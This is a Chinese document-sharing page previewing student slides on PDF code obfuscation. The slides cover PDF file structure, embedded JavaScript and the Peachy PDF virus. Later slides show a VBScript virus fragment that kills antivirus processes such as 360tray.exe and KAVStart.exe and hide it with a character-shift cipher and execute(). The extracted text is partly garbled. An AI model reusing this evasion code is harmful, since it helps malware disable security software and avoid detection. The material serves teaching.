PDF代码混淆技术_第1页
PDF代码混淆技术_第2页
PDF代码混淆技术_第3页
PDF代码混淆技术_第4页
PDF代码混淆技术_第5页
已阅读5页,还剩25页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、PDFPDF代码混淆技术代码混淆技术pdf-obfuscationpdf-obfuscationB10040529B10040529宫天何宫天何B10040606B10040606杨静平杨静平B10040605B10040605李慧灵李慧灵目录目录 PDFPDF简介简介PDFPDF文件结构文件结构PDFPDF与与JavaScriptJavaScript代码混淆技术代码混淆技术PDFPDF简介简介 PDFPDF是是Portable Document FormatPortable Document Format(便携文件格(便携文件格式)的缩写,是一种电子文件格式,与操作系统式)的缩写,是一种电子

2、文件格式,与操作系统平台无关,由平台无关,由Adobe Adobe 公司开发而成。公司开发而成。PDF PDF 文件是文件是以以PostScriptPostScript语言图象模型为基础,无论在哪种语言图象模型为基础,无论在哪种打印机上都可保证精确的颜色和准确的打印效果,打印机上都可保证精确的颜色和准确的打印效果,即即PDFPDF会忠实地再现原稿的每一个字符、颜色以会忠实地再现原稿的每一个字符、颜色以及图象。及图象。PDFPDF文件结构文件结构 (1)(1)文件头;文件头;(2)(2)对象的建立声明;对象的建立声明;(3)(3)交叉引用表;交叉引用表;(4)(4)文件尾。文件尾。PDFPDF文

3、件结构文件结构 PDFPDF文件结构文件结构 关于对象:关于对象:PDFPDF文档是由一些称为文档是由一些称为“对象对象”的模块组成的。的模块组成的。并且每个对象都有数字标号,这样的话可以这些并且每个对象都有数字标号,这样的话可以这些对象就可以北其他的对象所引用。对象就可以北其他的对象所引用。定义方式:定义方式:3 0 obj3 0 objendobjendobj键值对对象名称结束标志PDFPDF文件结构文件结构 Hello World文件头PDFPDF文件结构文件结构 交叉引用表:交叉引用表: 交叉引用表记录了每个对象在内存中的偏移地交叉引用表记录了每个对象在内存中的偏移地址。址。文件尾:文

4、件尾: 文件尾部记录了根对象名、信息对象名、对象文件尾部记录了根对象名、信息对象名、对象总数及交叉引用表在内存中的偏移地址。总数及交叉引用表在内存中的偏移地址。PDFPDF文件结构文件结构 Hello World交叉引用表文件尾PDFPDF文件结构文件结构 Hello WorldHello WorldPDFPDF文件结构文件结构 演示:演示:1.1.将该将该PDFPDF的内容由的内容由flateflate压缩编码改成文本压缩编码改成文本ASCIIASCII编码格式。编码格式。2.2.将将“Hello World”“Hello World”改成改成“My Hello World”“My Hell

5、o World”。技巧:技巧:为了避免交叉引用表的修改,我们可以使用空格为了避免交叉引用表的修改,我们可以使用空格填充字符流对象使得该对象所占内存地址偏移量填充字符流对象使得该对象所占内存地址偏移量不变。不变。 Hello WorldHello WorldPDFPDF文件结构文件结构 Hello WorldHello World 2 0 obj2 0 objstreamstreamBTBT/F1 24 Tf/F1 24 Tf100 600 Td100 600 Td(my Hello World) Tj (my Hello World) Tj ETETendstreamendstreamendo

6、bjendobjPDFPDF与与JavaScriptJavaScript Adobe Acrobat ProfessionalAdobe Acrobat Professional软件可以使商业人士能够可靠软件可以使商业人士能够可靠地创建、合并和控制地创建、合并和控制Adobe PDFAdobe PDF文档,以便轻松且更加安全地文档,以便轻松且更加安全地进行分发、协作和数据收集。进行分发、协作和数据收集。制作制作PDFPDF文档的利器,办公必备。文档的利器,办公必备。 近年来,近年来,AdobeAdobe公司一直在努力公司一直在努力使使AcrobatAcrobat从一款简单的从一款简单的PDFP

7、DF软软件发展成一个完整的数码发布件发展成一个完整的数码发布平台,甚至增加了对三维图片平台,甚至增加了对三维图片的支持。的支持。PDFPDF与与JavaScriptJavaScript 在在PDFPDF文件中可以嵌入文件中可以嵌入JavaScriptJavaScript,例如:,例如: 8 0 obj8 0 obj/JS()/S/JavaScriptendobjendobjPDFPDF与与JavaScriptJavaScript 利用利用AcrobatAcrobat在在PDFPDF中添加中添加JavaScriptJavaScript动作:动作:app.alert(Test);app.alert

8、(Test);app.launchURLapp.launchURL(http:/,true);(http:/,true);PDFPDF与与JavaScriptJavaScript Peachy VirusPeachy VirusSecurity experts have found the first virus able Security experts have found the first virus able to propagate through Adobes encrypted portable to propagate through Adobes encrypted por

9、table document format (PDF) files, a format once thought document format (PDF) files, a format once thought to be virtually impenetrable.to be virtually impenetrable.目前安全专家发现了首例通过加密的目前安全专家发现了首例通过加密的PDFPDF繁殖的繁殖的病毒,以往这种方式是很难以理解的。病毒,以往这种方式是很难以理解的。PDFPDF与与JavaScriptJavaScript Peachy VirusPeachy VirusNam

10、ed Peachy by experts at Web security firm Named Peachy by experts at Web security firm McAfee on Tuesday, the e-mail virus hides itself McAfee on Tuesday, the e-mail virus hides itself in PDF files and infects other computer systems by in PDF files and infects other computer systems by sending the f

11、ile as an attachment through the sending the file as an attachment through the Microsoft Outlook e-mail program.Microsoft Outlook e-mail program.这种叫做这种叫做PeachyPeachy的病毒在周二被的病毒在周二被McAfeeMcAfee证实了。证实了。它通过邮件把自己隐藏在它通过邮件把自己隐藏在PDFPDF文件中,并感染其文件中,并感染其余通过余通过OutlookOutlook发送的文件。发送的文件。PDFPDF与与JavaScriptJavaScr

12、ipt Peachy VirusPeachy VirusThe virus exploits a feature in Acrobat that The virus exploits a feature in Acrobat that combines other files with the PDF bines other files with the PDF code.该病毒通过该病毒通过AcrobatAcrobat的某种特点,将其余文件与的某种特点,将其余文件与PDFPDF代码进行合并。代码进行合并。摘自摘自abcNewsabcNews代码混淆技术代码混淆技术 代码混淆技术是一种重要的软

13、件保护方法,混代码混淆技术是一种重要的软件保护方法,混淆的实质就是一种变换,通过这种变换把原来的淆的实质就是一种变换,通过这种变换把原来的代码变成与其功能相同或相近的,但是更难被理代码变成与其功能相同或相近的,但是更难被理解和反编译的代码。由于混淆技术可以根据不同解和反编译的代码。由于混淆技术可以根据不同的目的,不同的混淆对象采用不同的方法,这使的目的,不同的混淆对象采用不同的方法,这使得混淆方法非常多。得混淆方法非常多。代码混淆技术代码混淆技术 JavaScriptJavaScript基本常用方法:基本常用方法:(1)(1)字母替换字母替换(2)(2)与数字与数字(3)eval()(3)ev

14、al()函数函数(4)escape()(4)escape()函数函数(5)(5)加密技术加密技术(6)(6)随机变量名随机变量名代码混淆技术代码混淆技术 采用简单的代码混淆技术混淆病毒代码。采用简单的代码混淆技术混淆病毒代码。这里将这里将virus.vbsvirus.vbs进行混淆。混淆方式采用加密进行混淆。混淆方式采用加密方式和方式和execute()execute()函数。函数。代码混淆技术代码混淆技术 加密方式:加密方式:可以采用对称加密算法可以采用对称加密算法( (如如AESAES、RC4)RC4)进行加密。进行加密。这里为了简单直观,采用了古典加密方式这里为了简单直观,采用了古典加密

15、方式( (仿射加仿射加密,取密,取a=1,b=1)a=1,b=1)execute()execute()函数:函数:类似于类似于JavaScriptJavaScript中的中的eval()eval()函数。使用方法为函数。使用方法为excute(String code)excute(String code),其中,其中codecode是代码的字符串是代码的字符串形式,效果是执行该代码。形式,效果是执行该代码。代码混淆技术代码混淆技术 例如:例如:execute(i=3)execute(i=3)execute(j=i+1)execute(j=i+1)msgbox(j)msgbox(j)结果为结果为

16、4 4。代码混淆技术代码混淆技术 Function de(x)Function de(x)dim p,ch,i,ldim p,ch,i,lp=p=l=Len(x)l=Len(x)for i=1 to lfor i=1 to lch=mid(x,i,1)ch=mid(x,i,1)ch=chr(asc(ch)-1)ch=chr(asc(ch)-1)p=p&chp=p&chnextnextde=pde=pend functionend function这是一个解密函数:这是一个解密函数:它的效果是将字符串中它的效果是将字符串中每个字母的每个字母的ASCII值减值减去去1。例如:例如:

17、x=bcd则,则,de(x)=abc代码混淆技术代码混淆技术 原来:原来:Call KillProcess(ProcessNames)Call KillProcess(ProcessNames)可以混淆为:可以混淆为:ss=Dbmm!LjmmQspdftt)QspdfttObnftss=Dbmm!LjmmQspdftt)QspdfttObnft* * ss=de(ss)ss=de(ss)execute(ss)execute(ss)代码混淆技术代码混淆技术 On Error Resume NextOn Error Resume NextDim ProcessNamesDim ProcessNam

18、esdim a0,a1,a2,a3,a4,a5,ssdim a0,a1,a2,a3,a4,a5,ss a0=mspaint.exe a0=mspaint.exea1=ras.exea1=ras.exea2=360tray.exea2=360tray.exea3=SREng.exea3=SREng.exea4=USBAntiVir.exea4=USBAntiVir.exea5=KAVStart.exea5=KAVStart.exeProcessNames = Array(a0,a1,a2,a3,a4,a5)ProcessNames = Array(a0,a1,a2,a3,a4,a5)Call K

19、illProcess(ProcessNames)Call KillProcess(ProcessNames)a0=ntqbjou/fyf:a0=de(a0)a1=sbt/fyf :a1=de(a1)a2=471usbz/fyf:a2=de(a2)a3=TSFoh/fyf :a3=de(a3)a4=VTCBoujWjs/fyf:a4=de(a4)a5=LBWTubsu/fyf:a5=de(a5)ss=Dbmm!LjmmQspdftt)QspdfttObnft*ss=de(ss)execute(ss)代码混淆技术代码混淆技术 Set objWMIServices = GetObject(winmgmts: & strComputer & rootcimv2)Set colProcessList = objWMISe

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论